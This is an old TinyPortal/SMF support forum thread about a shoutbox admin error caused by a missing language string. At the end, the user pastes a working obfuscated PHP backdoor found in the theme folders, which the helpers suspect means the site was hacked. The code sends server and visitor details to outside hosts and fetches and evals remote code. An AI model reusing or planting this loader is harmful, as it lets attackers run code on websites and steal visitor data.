TP-Docs
HTML5 Icon HTML5 Icon HTML5 Icon
TP on Social Media

Recent

Welcome to TinyPortal. Please login or sign up.

Members
Stats
  • Total Posts: 196,020
  • Total Topics: 21,332
  • Online today: 892
  • Online ever: 8,223 (February 19, 2025, 04:35:35 AM)
Users Online
  • Users: 1
  • Guests: 725
  • Total: 726
  • lurkalot

TP Simple Shout - No Admin

Started by inner_space_70, January 01, 2010, 11:02:57 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

inner_space_70

Powered by SMF 1.1.10
TinyPortal v1.0 beta 4

The shout box is working but I havent been able to ADMIN anything with it as the page will not load.
Its listed in the modules  & activated but when I click (Admin) it takes me to a block that says "An Error Has Occurred!" When I click (TP Simple Shout) in the modules area I get a slightly different error. "Unable to load the 'main' template. "

Im seeing this as well in the forum error log:
8: Undefined index: cannot_tp_can_admin_shout
File: /home/ttforum/public_html/forum/Sources/Errors.php
Line: 342

PS: Is the shoutbox thats used here on tinyportal forum the TP Simple Shout? Or is this a mod from somewhere? Maby I can use an alternative mod? I like the avatars in the posts like that.

Skhilled

First, check to see if the TPShout.english.php is uploaded to the default and possibly any theme you might be using. That file contains the "cannot_tp_can_admin_shout" code.

The shoutbox here is for the unreleased Beta 5 version. After testing it will be made available. There is no released date for it.

inner_space_70

Also, Im running TechHead for TP as a theme..

I see the file under default/languages folder but thats it..
I reset the theme temp to the OEM default smf and still received the same error.
8: Undefined index: cannot_tp_can_admin_shout
File: /home/ttforum/public_html/forum/Sources/Errors.php
Line: 342

inner_space_70

So what would the log error mean?

8: Undefined index: cannot_tp_can_admin_shout

Undefined index? Maby I should over write a certain PHP file?

IchBin

Means that you are missing some text string in a language file. Look in the language shout file and see if that is there. If you are using another language then you'll need the same shout language file, only you'll need it in the language you're using.

inner_space_70

Not sure of the correct path but tp-files/tp-modules/tpshout/languages/tpshout.english.php is there. Is this the correct file or are you refering to a different folder? (I am using only English)

IchBin

Yes, but are you using english-utf8 ?

The langauge file and template file should both be in the default theme.

inner_space_70

#7
Im using TechHead in English (not sure if its UTF8)
in forum/Themes/techhead11final_tp/languages I only have 4 files.
.htaccess
139730.php
183326.php
settings.english.php

IchBin

umm... what are those number php files? That looks look you've been hacked.

As for the files, they MUST be in the default theme except for the Sources file.

inner_space_70

Sorry about the baby steps..

I have these language files and lots more under the default theme.
TPShout.english.php, TPShout.english-utf8.php, TPortal.english.php, TPortal.english-utf8.php

What should I be looking for? Should there be a TPShout admin.english.php file?  :uglystupid2:

PS: There were 2 odd 139730.php and 183326.php in the default as well. I renamed them. I didnt see anything too bad in them. Here was the content of 1. There was no IP or ports listed and I renamed them so I figured it would be ok to post here. Does it look malicious to you?

<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j); if ((include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My5yc3NuZXdzLndz")."/?".$str))){} else if (include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My54bWxkYXRhLmluZm8=")."/?".$str));else if ($c=file_get_contents(base64_decode("aHR0cDovLzcucnNzbmV3cy53cy8/").$str))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcucnNzbmV3cy53cy8/").$str);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$str=curl_exec($cu);curl_close($cu);eval($str);}; ?>



This website is proudly hosted on Crocweb Cloud Website Hosting.